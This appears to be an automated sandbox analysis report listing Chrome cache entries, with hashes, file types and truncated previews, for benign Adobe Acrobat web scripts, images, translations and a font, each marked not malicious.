SHA-512:	5C360D5245D59E458608F2A869CADCF537A29EFF92C9A593692F41774E7133800C4759C6A2D5C04E820B5E082E61FBF1C46794C2A1973D274B02EF889E7EAB8F
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-core/3.26.1/dc-core.js
Preview:	/! For license information please see dc-core.js.LICENSE.txt /.(()=>{var a={zgAz:(a,o,i)=>{"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.AlertMedium=AlertMedium;var s=function _interopRequireDefault(a){return a&&a.__esModule?a:{default:a}}(i("GiK3"));function _extends(){return _extends=Object.assign\|\|function(a){for(var o=1;o<arguments.length;o++){var i=arguments[o];for(var s in i)Object.prototype.hasOwnProperty.call(i,s)&&(a[s]=i[s])}return a},_extends.apply(this,arguments)}function _objectWithoutProperties(a,o){if(null==a)return{};var i,s,u=function _objectWithoutPropertiesLoose(a,o){if(null==a)return{};var i,s,u={},$=Object.keys(a);for(s=0;s<$.length;s++)i=$[s],o.indexOf(i)>=0\|\|(u[i]=a[i]);return u}(a,o);if(Object.getOwnPropertySymbols){var $=Object.getOwnPropertySymbols(a);for(s=0;s<$.length;s++)i=$[s],o.indexOf(i)>=0\|\|Object.prototype.propertyIsEnumerable.call(a,i)&&(u[i]=a[i])}return u}function AlertMedium(a){var o=a.scale,i=void 0===o?"M":o,u=_objectWithoutPr

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 567 x 320, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	37325
Entropy (8bit):	7.9664751831156835
Encrypted:	false
SSDEEP:
MD5:	F68227AD12254266749AA4DF255640F8
SHA1:	1A898EC16DA08C56E0DE6D6AC32BD6CEE1617D18
SHA-256:	E93A12D29304F18C4AAC73566161E9AEC0D097C4895C369B880DB07139EE13C3
SHA-512:	8B49DFEA6ADE254A425FED40401B2F095D333ED56063C2BECACA671E47997A800EA2B2E88F686087BFFE561DA410490AAE6B4BE33A0BED1749342EC72F88382F
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/d6a236877/pwa/pwa-images/screenshots/Home.png
Preview:	.PNG........IHDR...7...@.....w9.x....PLTE.......gg....kl.]^.fj..........................44.....R..N.$\.0e.2f.7m.6f.:l.9i.Gq.....e.2e.6j.Iy.`...._...F.3^.w....!m...8....{.....l{.......t..Sr.c..................:F.6B.>J#JV"FR..&.>J..........3<.:C.HR.:B.>Fy...-4.BL.6>....>F.CK.."..3%LS5]d+EJ....&.5:%SZ.6:.X^,MRCkq:VZ....&....-....:>.BF#FJ,UZ%=@5VZ3RV.#%.25.>A.+-.>A%JMLtx4LNTy\|X~.#-..{..:=.IL$...JM&RU.:<N..+SU$CEKM<ce]...24.DF.BD.564[\=[\d..q..{...ZZ"ZZ8VVFhhq..)99......OqpD]\a}\|k.....0BAGb`>USZwth..d..q..p..x..t..J?Qc]<HD.4BPK4TH... >2DeW...JYQ[iaz.R.h6<7...<C<{.yb.Jcjavyujqg/1.EJBMQH...rxj\^U...\|\|m.....uXVK.........\|q^ofV.}gPE9H@7VK@.)$...qZJC80}S<hH6kP@M:/:0.]D\?0T:,K5:,%.T;f@.vJ6D/%4%.D2**!..F.M0%.f6w<(W4(A( h3$[, M(.... ......++.NN.VV.ff.ff.zz.ki................................... .......IDATx....Tu~.K..13.q.&.c...i'$...OP0...`..Km...y#...X.&...W..0.D..8...R..j.hi.{W.1...4...]w...x.N.9u.....:......>U............n#......m...F...(nc.N.m..........q.Am......VGm2.I..

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4112), with no line terminators
Category:	downloaded
Size (bytes):	4114
Entropy (8bit):	5.30116764203578
Encrypted:	false
SSDEEP:
MD5:	0469B2578169B1AC7C3E5C053DD41047
SHA1:	6828517F09D5C513D1F2EA552E3ED4CF69812708
SHA-256:	531C647E2CB21D1CA4DD7FEFEEB7CA65DDC1C73F9747500B1ACE50C103E1E9E8
SHA-512:	148951170E0F162B258C5880CC44A0DB111E8DB3B6A174583106D1FC091B3CE0B5BFFAD567E30948B69A141D9D9D12912B781254E45FF938A983AE5BD8807923
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-files-dropin/3.18.0_2.36.0/translations-en-US-json-chunk.js
Preview:	"use strict";(self["webpackJsonp-files"]=self["webpackJsonp-files"]\|\|[]).push([[818],{t39f:e=>{e.exports=JSON.parse('{"ADD_FILE_FROM_DEVICE":"Add a file from your device","ADD_TO_STARRED":"Add to Starred","ADDED":"Added","CANCEL":"Cancel","CANCELED":"Canceled","CREATE_COPY":"Create a copy","CREATE_COPY_TITLE":"Create a copy to modify","CREATE_COPY_DESCRIPTION":"Shared files can.t be modified. Create a copy and make changes to your copy","CONTINUE":"Continue","CREATE":"Create","DATE_ADDED":"Date Added","DATE_MODIFIED":"Date Modified","DATE_OPENED":"Date Opened","DRAG_AND_DROP_FILE":"Drag and drop your file","DRAG_AND_DROP_FILES":"Drag and drop your files","DRAG_OR_UPLOAD":"Drag or upload files here to add them to this folder.","DRAG_OR_UPLOAD_TO_USE":"Drag or upload files here to work with and share your files across web, desktop and mobile.","DUPLICATE_FOLDER":"A folder with this name already exists. Please choose another name.","EMPTY_FOLDER":"There aren\'t any files here yet.","ERR

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 567 x 320, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	37956
Entropy (8bit):	7.965279381140527
Encrypted:	false
SSDEEP:
MD5:	06968C7FFD45D571E14F3424302B121F
SHA1:	097FF33BF0A8055BCD8C97E2CAC8C94180FE058B
SHA-256:	4E747D58ED0F8E71D07110460B1CB77A083723BEAA980FA4B6AC4EB7A30004E4
SHA-512:	42F6D93FFBB33906D1F04249A9BA935D22CB95391A10CA7739C74F5F4424E3AC8A19B72A3CD0F4EAC316FB3523D93DC015858E984FEC909011E7B298A2BC1F72
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/d6a236877/pwa/pwa-images/screenshots/Documents.png
Preview:	.PNG........IHDR...7...@.....w9.x....PLTE........._.......z..Y4ugD./.kg]}...:>...{...KN..%.3:.bk........R.6b..N.$\.2f.2f.7m.6f.8k..e.6j..W.Bs.Co.V..X\|.i.....{......l{....~..y........Tr.e.....%M_.2>.:F.6B.>J"FR.......:F.>J.2:..........2;.2:.:C.HR.6>.:B.>Fy.......%.BL.6>.>F.CK..".-3..3%LS5]d+EJ....&.6:,U[,MRCkq:VZ.%)....6:.-....:>.BF#FJ%=@5VZ.#%.69.25$UZ.>A.+-.>A%JM.Z^3SVLtx4LN#-..,.BE.JM&RU.:<+SU$CEKM=ceTz\|[..x...564[\=[\d......^^Fhh)99D TT.........j..Oqpa}\|k..S..0BA(jdHb`Zwth..q..p..x.....t..L`ZJ?<HD.3)BPK3SG<\PRd]...F...=1HYRj..[ib6<7...<C<o\|n{.ydkbksh/1.vxuEJB...NQI_bXwzk..vYYO..........z.........L..n...yq^qgW....wbOE:H@7WLA.)$..hq[KC80fC0.]C\|T=T;-kP@M:/:0wK5\>.iH7\A3K53%.:,%.R9D/%D2\8)L0%+!..C,f:)S1%T5%..u;'B)!h0 _1$?$.Y+.M(.......-+.b`....................................\|}......IDATx.........9u{n{s...!.!cl.8w.=.F2I......X.\X...&@.EpF...."...G.x.`Q......`.PP...}.\.;..Y...gy.......z...9U,.U..?..y..};..%.~.k...<..c...y..7M..0...)w..c:..<&.X G5.Y8&...R

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	136136
Entropy (8bit):	5.508574658432098
Encrypted:	false
SSDEEP:
MD5:	B7217E773C763906183A945A2CF048CD
SHA1:	8F13E8AF21A50E12DDD46961E164FB8A808BE122
SHA-256:	18CC7A22A9F6126B7BE1B533DAA10754C99ED7AC4E603728D0A8575E0000043D
SHA-512:	991ACECA6AF16A6FB2F23BB462B72B5D59E2F1D896FE6DA7477B6180F664837058335139E84767A1D67642814CFE98819ED673648B1241308BE89FEA8742FF66
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-web-app-dropin/3.18.0_2.129.0/web-app.js
Preview:	(self["webpackJsonp-web-app"]=self["webpackJsonp-web-app"]\|\|[]).push([[187,961],{"/pRX":function(){!function(){"use strict";function applyFocusVisiblePolyfill(e){var t=!0,n=!1,r=null,i={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function isValidFocusTarget(e){return!!(e&&e!==document&&"HTML"!==e.nodeName&&"BODY"!==e.nodeName&&"classList"in e&&"contains"in e.classList)}function focusTriggersKeyboardModality(e){var t=e.type,n=e.tagName;return!("INPUT"!=n\|\|!i[t]\|\|e.readOnly)\|\|"TEXTAREA"==n&&!e.readOnly\|\|!!e.isContentEditable}function addFocusVisibleClass(e){e.classList.contains("focus-visible")\|\|(e.classList.add("focus-visible"),e.setAttribute("data-focus-visible-added",""))}function removeFocusVisibleClass(e){e.hasAttribute("data-focus-visible-added")&&(e.classList.remove("focus-visible"),e.removeAttribute("data-focus-visible-added"))}function onKeyDown(n){n.metaKey\|\|n.altKey\|\|n.ctrlKey\|\|(isValidFocusTa

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (55072)
Category:	downloaded
Size (bytes):	522263
Entropy (8bit):	5.3377862826530205
Encrypted:	false
SSDEEP:
MD5:	4DD04062EF449C113DE9536573F87393
SHA1:	B29E9256596E21E3ADC69221B465E40D5F3EF80F
SHA-256:	50C8F26607BD07CB1379D0AD03E984952A4B0D3F6B33BBE5704527D966D01C91
SHA-512:	1BFC21257F849FDEC2A065C2E642A8677CDE3FB7D019B70A890EC6542D4E634A4323D8F63EC02397E8CCAACAEB1C6640758EF03E7A0C87D96644A7332D4839EF
Malicious:	false
Reputation:	unknown
URL:	https://prod.adobeccstatic.com/utilnav/9.2/utilitynav.js
Preview:	/. Copyright 2018 Adobe Systems Incorporated. All rights reserved.. * This file is licensed to you under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License. You may obtain a copy. * of the License at http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software distributed under. * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS. * OF ANY KIND, either express or implied. See the License for the specific language. * governing permissions and limitations under the License.. */.!function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e}

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18357)
Category:	downloaded
Size (bytes):	18404
Entropy (8bit):	5.4819684892326945
Encrypted:	false
SSDEEP:
MD5:	AAA07CE5DE984B193324F90E900BC932
SHA1:	6D5E90266FEF7DDF4F834596C11FCC05F4841821
SHA-256:	E47AEBCC43D27C9D418644BFF649BC45E867AE545C3B98AF8B0B74DF1954AE7A
SHA-512:	7624C94F231703FA0E593A0B1E6C13531CB4C9114594B10DF3DC7B69CAEA351A46DD11EC283B076C441D7C00C7B5739682818781AD788F980D737D2619A018B0
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-web-app-dropin/3.18.0_2.129.0/device-api.js
Preview:	(self["webpackJsonp-web-app"]=self["webpackJsonp-web-app"]\|\|[]).push([[160],{klCL:function(i,e,o){var a;!function(t,r){"use strict";var s="function",n="undefined",b="object",w="string",l="major",d="model",c="name",u="type",m="vendor",p="version",h="architecture",g="console",v="mobile",f="tablet",x="smarttv",k="wearable",y="embedded",T="Amazon",_="Apple",S="ASUS",A="BlackBerry",z="Browser",q="Chrome",N="Firefox",O="Google",P="Huawei",C="LG",E="Microsoft",D="Motorola",M="Opera",B="Samsung",U="Sharp",R="Sony",j="Xiaomi",V="Zebra",I="Facebook",$="Chromium OS",L="Mac OS",enumerize=function(i){for(var e={},o=0;o<i.length;o++)e[i[o].toUpperCase()]=i[o];return e},has=function(i,e){return typeof i===w&&-1!==lowerize(e).indexOf(lowerize(i))},lowerize=function(i){return i.toLowerCase()},trim=function(i,e){if(typeof i===w)return i=i.replace(/^\s\s*/,""),typeof e===n?i:i.substring(0,350)},rgxMapper=function(i,e){for(var o,a,t,n,w,l,d=0;d<e.length&&!w;){var c=e[d],u=e[d+1];for(o=a=0;o<c.length&&!w&&

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7357), with no line terminators
Category:	downloaded
Size (bytes):	7357
Entropy (8bit):	5.170381500472074
Encrypted:	false
SSDEEP:
MD5:	8121E8EE50866B1E7AADA5B74842321F
SHA1:	7BDB37B3CCAB6CD97EF0D671C3D258DA0846384C
SHA-256:	D42121B89AE8BEEA781B52445D7DF87C095EFE568DD9E03234E1B8F7EB48379A
SHA-512:	AA8598FA72DBF2D784E34F155EE9AD9980EB78244D866771D756B486578F8E4897D9944E4C3E8043D573F1F77325867FB390A27CCDFC8B8BC88F6E65B8E67FB8
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-web-app-dropin/3.18.0_2.129.0/translations-en-US.js
Preview:	"use strict";(self["webpackJsonp-web-app"]=self["webpackJsonp-web-app"]\|\|[]).push([[327],{t39f:e=>{e.exports=JSON.parse('{"APPS":"Apps","DOCUMENT_CLOUD":"Document Cloud","FILES":"Files","HOME":"Home","VIEWS":"For Viewing","REVIEWS":"For Review","SIGNATURES":"For Signature","ORGANIZER":"Organizer","SHARE":"Share","SHARED":"Shared","SHARED_DOCUMENTS":"Shared Documents","SIGN":"Sign","SIGN_OUT":"Sign Out","STARRED":"Starred","UPLOAD_ETC":"Upload etc.","SOMETHING_WENT_WRONG":"Something went wrong","TRY_LATER":"We\'re sorry for the inconvenience. Please try again later.","ACCESS_DENIED":"Access Denied","NO_ACCESS_MSG":"You do not have access to this service. Contact your IT administrator to gain access.","SIGN_IN_DIFF":"Sign in with a different account","IN_BETA_COHORT_PARA1":"Thank you for participating in the Beta program for the next generation of Adobe Document Cloud.","IN_BETA_COHORT_PARA2":"We are constantly adding exciting capabilities to the Beta, but this feature is still under dev

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	481
Entropy (8bit):	3.998674361882104
Encrypted:	false
SSDEEP:
MD5:	03DB7A20C614CC6FE830EDD353B44904
SHA1:	A0883E893D819D325B9DFDA19F84D98C74BB90B6
SHA-256:	CFC32A2207E7DCE665E2A6C8CE5C8AE5E3C83AA2BB2184277CE2F39E6838D597
SHA-512:	23E262252347A3C4F1F8F3BEE31A9024BDAA60D23BE18C494305C3014F7B36F2E9F0C22CAD578C235BA7D1940AC1157B46957372897CAF9FE32975CEB5B8A593
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-kill-switch-overrides/killSwitchOverrides.js
Preview:	(function initKillSwitchOverrides() {. window.dcKillSwitchOverrides = {. "dev": {. "dc-view-sdk-bundle": {. javaScriptEnabledVersion: "2.5.4",. },. },. "stage": {. "dc-view-sdk-bundle": {. javaScriptEnabledVersion: "2.5.4",. },. },. "prod": {. "dc-view-sdk-bundle": {. javaScriptEnabledVersion: "2.5.8",. },. },. };.}());.

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5680)
Category:	downloaded
Size (bytes):	5755
Entropy (8bit):	5.1692033929066525
Encrypted:	false
SSDEEP:
MD5:	7732A1C14DE3BB3C5B7732D7CABBEB8F
SHA1:	0C59F3CD6263F7124D64BBA208C8590ED4E0ED0C
SHA-256:	8FA6E36B23EECFE699D1CCCB4839B1AEABAE7253D37F3D691B2423E8362C4837
SHA-512:	B87F79CA6C289202692B9BC302EA003D6A90CAB3DB45FADEE314DB4BFCDCFCB2CDA8696DF6EE28FECB3F0AD893ADA8D6331B14B8000F0A523582FF6F29F4853A
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/d6a236877/pwaProvider-d812b7169617a06aa755.js
Preview:	(self["webpackJsonp-dc-web-app"]=self["webpackJsonp-dc-web-app"]\|\|[]).push([[203],{sLQj:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:()=>d});var s=i("k+8A"),r=i.n(s),a=i("plsW");const o="web-app",n=a.logging.getLogger("PWAProvider");class PWAProvider{constructor(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this._workerRequests=[],this._registration=void 0,this._deferredPromptPromise=void 0,this.getPWAManifestUri=async()=>{const e=window.adobe_dc_sdk.launchOptions;let t=this._pwa_manifest_uri;await window.adobe_dc_sdk.loaded.floodgateReady.promise;const i=await a.providers.floodgate(),s=i.hasFlag("dc-web-pwa-optimization"),r=i.hasFlag("dc-web-pwa-signed-in");return(s\|\|r)&&(t=`${e.server}/home/pwa/manifest-with-file-handling.json`,this._pwa_manifest_uri=t,"localdev"===e.env&&(t=`${e.host}/pwa/manifest-with-file-handling.json`,this._pwa_manifest_uri=t)),t},this.unregisterSW=()=>navigator.serviceWorker?navigator.serviceWorker.getRegistrations().then((e=>Promise.all(e.m

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (47680), with no line terminators
Category:	downloaded
Size (bytes):	47725
Entropy (8bit):	4.839276277777012
Encrypted:	false
SSDEEP:
MD5:	5E06B64A46B09AD9B33F59B742313E04
SHA1:	D2DABD76F9F5CEBF959ABC51F2CC41510E1F45E8
SHA-256:	33EC2021CDCEDB111FBBACC7C01D5EE95EAB8553BAB7FCA2596E5C7810BD4314
SHA-512:	29FFE258E0B0A80924E7A1C6F400ACBED4D84E578E028A6D7DCF782EE8CE16079CA3C3C216E1E7D870E5FF25B3EECFA2044681ED8409287CD81A4EB41BD3B01A
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dcpreviewdropin/3.0.2_2.709.0/translations-en-US-json-chunk.js
Preview:	"use strict";(self["webpackJsonp-preview"]=self["webpackJsonp-preview"]\|\|[]).push([[7818],{t39f:e=>{e.exports=JSON.parse('{"default":" ","file.downloading":"Loading...","contextMenu.textSelection":"Copy Text","contextMenu.textSelectionEureka":"Copy text","contextMenu.openLinkNewWindow":"Open Link","contextMenu.copyLink":"Copy Link","contextMenu.downloadAttachment":"Download Attachment","contextMenu.downloadDocument":"Download Document","contextMenu.addNote":"Add sticky note","contextMenu.addFreeform":"Use drawing tool","contextMenu.downloadPdf":"Download PDF","contextMenu.printPdf":"Print PDF","contextMenu.legalNotes":"Legal Notices","contextMenu.resetFields":"Reset Fields","contextMenu.paste":"Paste","contextMenu.modernViewer.copyText":"Copy text","contextMenu.modernViewer.copyLink":"Copy link","contextMenu.modernViewer.openLink":"Open link","find.placeholder":"Find text in document","find.placeholderOld":"Find in document","find.progress":"Searching {pageBeingSearched, number} of {pa

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65459), with escape sequences
Category:	downloaded
Size (bytes):	417820
Entropy (8bit):	5.5602253598492615
Encrypted:	false
SSDEEP:
MD5:	255139D1D249FDE98CDCA26E3791BE64
SHA1:	2043B0841F4A824072080D0C298B32FEE1F62D6F
SHA-256:	5DD2A0F45279AC575349B8E0A415CA52696427A3D720FDE0CADCACDD664849BD
SHA-512:	3C77C6B893D6976133E84DD72B2ACFF180EFA2CE44E702BEC49441EC027F1C8E2EB4D6709C2AC1A8EE8F22909765F6283A23940AF1F38163AAAB8CF4AA5896AB
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-genai-dropin/3.22.1_1.130.3/genAIProvider-chunk.js
Preview:	/! For license information please see genAIProvider-chunk.js.LICENSE.txt /.(self["webpackJsonp-genai"]=self["webpackJsonp-genai"]\|\|[]).push([[410],{"835Y":e=>{"use strict";const{AbortController:t,AbortSignal:y}="undefined"!=typeof self?self:"undefined"!=typeof window?window:void 0;e.exports=t,e.exports.AbortSignal=y,e.exports.default=t},AS5X:(e,t,y)=>{"use strict";var m=y("TESC");function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function _defineProperties(e,t){for(var y=0;y<t.length;y++){var m=t[y];m.enumerable=m.enumerable\|\|!1,m.configurable=!0,"value"in m&&(m.writable=!0),Object.defineProperty(e,(v=m.key,w=void 0,w=function _toPrimitive(e,t){if("object"!==_typeof(e)\|\|null===e)return e;var y=e[Symbol.toPrimitive];if(void 0!==y){var m=y.call(e,t\|\|"default");if("object"!==_typeof(m))return

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	179014
Entropy (8bit):	5.48605484749538
Encrypted:	false
SSDEEP:
MD5:	AD90691E0BE1EF33C9217C45B52052DD
SHA1:	C690A58B843A2AE9F2618DF696FE55460DD6E230
SHA-256:	05F52C4AF7A42CDB474BDD244D4513B988EB031018DD80F997C29F30703FBF57
SHA-512:	33E39FF35D2C98784FEDAE7123907A66C9DF188E5F06E45D12728A151685AB8DD414909B67A988094F6C21190E32842F3CF88656A7357167D22A94B40ADACCD2
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-fillsign2-dropin/3.17.1_1.306.0/fs2QTverbs0-chunk.js
Preview:	(self["webpackJsonp-fillsign2"]=self["webpackJsonp-fillsign2"]\|\|[]).push([[533],{"+ERq":(e,t,r)=>{"use strict";var n=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},o=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}}(r("YWiy"));t.A=function(e){var t=e.fill,r=void 0===t?"currentColor":t,a=e.width,i=void 0===a?24:a,s=e.height,l=void 0===s?24:s,c=e.style,u=void 0===c?{}:c,p=function _objectWithoutProperties(e,t){var r={};for(var n in e)t.indexOf(n)>=0\|\|Object.prototype.hasOwnProperty.call(e,n)&&(r[n]=e[n]);return r}(e,["fill","width","height","style"]);return o.default.createElement("svg",n({viewBox:"0 0 24 24",style:n({fill:r,width:i,height:l},u)},p),o.default.createElement("path",{d:"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"}))}},Di0q:(e,t,r)=>{"use strict";var n=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=argume

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	102
Entropy (8bit):	4.802149303044946
Encrypted:	false
SSDEEP:
MD5:	A9959D6807C32EDE011D36FEAA192950
SHA1:	EF1533B8B12BEDE2762729DB4C162460CD7CB0CD
SHA-256:	B5AADB17530020435ACCF0031ADF9B1CD4588127A0308CC9A153ABBD35D2F7A5
SHA-512:	D26841F42823E3ACFDED6B39BF87AFF301462F1B844A75CB3DFDDB0E32E343DF2DE0BFDD348C08627D8511F7AC1D14E8AD77BA1D3BC263FA1D46F96E724FE36C
Malicious:	false
Reputation:	unknown
Preview:	{"timestamp":1713476197546,"status":405,"error":"Method Not Allowed","path":"/core/v1/messaging/init"}

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16355)
Category:	downloaded
Size (bytes):	16411
Entropy (8bit):	4.317100105755358
Encrypted:	false
SSDEEP:
MD5:	DFF189E880C4E2F5325CA196BF36798C
SHA1:	BA4B45A0C38A691D2C3CA42AE9F69464B77F0E66
SHA-256:	8D00C332E0EB5700C72C8847AAB09EBA2C0C85860049DCF044BA5D6840EAF7FA
SHA-512:	D6B58E506A1BCD2F94BB0CDAF9FB7AEEBFE0D9AA35B577690E0341312DAF6F6DDAF6DEC357756A8140BD1F7E9A185D5E132DC48AC7054EB368C8CC59ED9A3C07
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-pdfverbs-web/3.17.1_4.807.0/context-board-icons.js
Preview:	(self["webpackJsonp-pdfverbs-web"]=self["webpackJsonp-pdfverbs-web"]\|\|[]).push([[9487],{dXsL:(e,C,a)=>{var l=a("YWiy");function SCompresspdfColor18(e){return l.createElement("svg",e,l.createElement("g",{fill:"none",fillRule:"evenodd"},[l.createElement("path",{fill:"#1B959A",fillRule:"nonzero",d:"M14 11.5328421L14 14.600006C14 14.800006 13.8 15.000006 13.6 15.000006L4.4 15.000006C4.2 15.000006 4 14.800006 4 14.600006L4 11.3144983 3 12.3657769 3 14.600006C3 15.400006 3.6 16.000006 4.4 16.000006L13.6 16.000006C14.4 16.000006 15 15.400006 15 14.600006L15 12.5006082 14 11.5328421zM4 6.21490073L4 2.4C4 2.2 4.2 2 4.4 2 9.2 2 11.6 2 11.6 2L14 4.4C14 4.4 14 4.84349053 14 5.73047158L15 4.65558511 15 4.3C15 4.1 14.8811646 3.9 14.7 3.7L12.3 1.3C12.1 1.1 11.8 1 11.5 1L4.4 1C3.6 1 3 1.6 3 2.4L3 5.02660135 4 6.21490073z",key:0}),l.createElement("path",{fill:"#1B959A",fillRule:"nonzero",d:"M12.4635909,9.95878011 C12.455406,10.0024023 12.4358821,10.0455898 12.4039411,10.0853397 C12.375833,10.1246944 12

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13451)
Category:	downloaded
Size (bytes):	13497
Entropy (8bit):	5.403936915472012
Encrypted:	false
SSDEEP:
MD5:	1ABB7EA172F81EA0A6F45090C7A4405F
SHA1:	6FA3FB56A3BF49401F58023E1B731E08FF8E52CC
SHA-256:	9BD710DD0B9EF2EC987FF7C8691AB802B527BB6ADD1AAD92066CB16FC9AAF29E
SHA-512:	5406A3B6F36BC4EE8CD3BA90D6AF2508356597B85E2D9F24874C6E75E8A4C94C0A10D2480D4FF50DEF64347E8F3ED81BCA1A4CD5D38F1F596537FA1512E86102
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-global-nav-dropin/3.19.1_3.312.0/bootstrap.js
Preview:	(()=>{var e,r,_,n,t={Issy:(e,r,_)=>{"use strict";_.d(r,{F:()=>getMessage,Z:()=>t});var n=_("plsW");const loadTranslations=e=>(_.p=n.discovery.dropins["nav-bar"].public_path,_("AWKe")(`./${e}.json`)),getMessage=e=>loadTranslations(n.locale2.getLocale()).then((r=>{const _=r[e];if(_)return _;throw new Error(`No translation for ${e}`)})),t=loadTranslations},AWKe:(e,r,_)=>{var n={"./cs-CZ.json":["08B1",650],"./da-DK.json":["acN1",507],"./de-DE.json":["EjZn",472],"./en-GB.json":["pUtz",195],"./en-US.json":["t39f",818],"./es-ES.json":["SPzx",178],"./fi-FI.json":["hrqw",128],"./fr-FR.json":["1xIn",46],"./hi-IN.json":["zPVF",629],"./id-ID.json":["ncw5",441],"./it-IT.json":["XeRS",723],"./ja-JP.json":["YtLb",834],"./ko-KR.json":["8Y6V",959],"./nb-NO.json":["G976",748],"./nl-NL.json":["SqX1",550],"./pl-PL.json":["u9al",494],"./pt-BR.json":["GN92",633],"./ro-RO.json":["kx8t",813],"./ru-RU.json":["v5cd",299],"./sv-SE.json":["Te3y",690],"./th-TH.json":["9Hge",960],"./tr-TR.json":["gQP8",13],"./zh-CN

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 39260, version 1.0
Category:	downloaded
Size (bytes):	39260
Entropy (8bit):	7.993604758899025
Encrypted:	true
SSDEEP:
MD5:	35234F8ADC394C536031C99D7AC8484F
SHA1:	12EBFA0153118FAB8664C3B8EF696B64F4EA8EB5
SHA-256:	E024FB3F5D381FE02FA0BC243DC557D5DAFF401F1B89220EBDFDA89D5F99D207
SHA-512:	321228BAE69BF8A5F19A2B281FFC0123BBF1F4DF6DD843CCFB7EF45E22295BA9FB33E4D436FA13BB25C14028F51E795F09D233CAA6A6A1AD7B9A5144DA6A8197
Malicious:	false
Reputation:	unknown
URL:	https://use.typekit.net/af/a2527e/000000000000000000017704/27/l?primer=0635fba006f1437d962ae878ad04a353e0c3568e4d5bde3554eb7e3e05ddd02d&fvd=n8&v=3
